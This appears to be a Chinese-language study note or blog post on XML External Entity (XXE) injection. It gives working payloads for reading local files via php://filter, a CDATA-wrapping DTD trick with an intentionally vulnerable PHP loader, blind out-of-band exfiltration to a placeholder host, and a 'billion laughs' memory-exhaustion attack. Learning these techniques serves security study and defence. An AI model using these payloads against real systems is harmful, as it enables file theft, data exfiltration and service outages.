XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。
利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了)
如何声明一个外部实体
<!ENTITY entity-name SYSTEM "URI/URL">
example:
DTD 实例:
<!ENTITY writer SYSTEM "file:///c:/test.dtd">
<!ENTITY copyright SYSTEM "php://filter/read=convert.base64-encode/recource=index.php">
XML example:
<author>&writer;©right;</author>
外部实体两大派别:
1.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
2.参数实体:
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
传统艺能标准玩法:(有回显的xxe)
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./sql.php">]>
<root>
<xxe>&xxe;</xxe>
<flag>233333</flag>
</root>
case one:
如果被读取文件含有大量<> & 之类的东西
远程开dtd解决此问题
<![CDATA[what you wanna get]]>
<?php
$xmldata = '<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///Users/cengsiqi/Desktop/xxe/1.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/1.dtd">
%dtd; ]>
<roottag>&all;</roottag>';
libxml_disable_entity_loader (false);
$dom = new DOMDocument();
$dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % body SYSTEM "file:///d:/wp.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "file:///d:/key.dtd">
%dtd; ]>
<roottag>&all;</roottag>
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%body;%end;">
\\key.dtd
blind xxe:
通过外带书记通道传输数据:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./wp.txt">
<!ENTITY % dtd SYSTEM "file://d:/key.dtd">
%dtd;
%send;
]>
key.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % send SYSTEM 'http://balabala/?data=%file;'>"
>
花式玩法:(看了没敢试
“有机会试试看”)
dos攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
递归玩法挤爆内存
PREVIOUSSql inject
NEXT博客搭建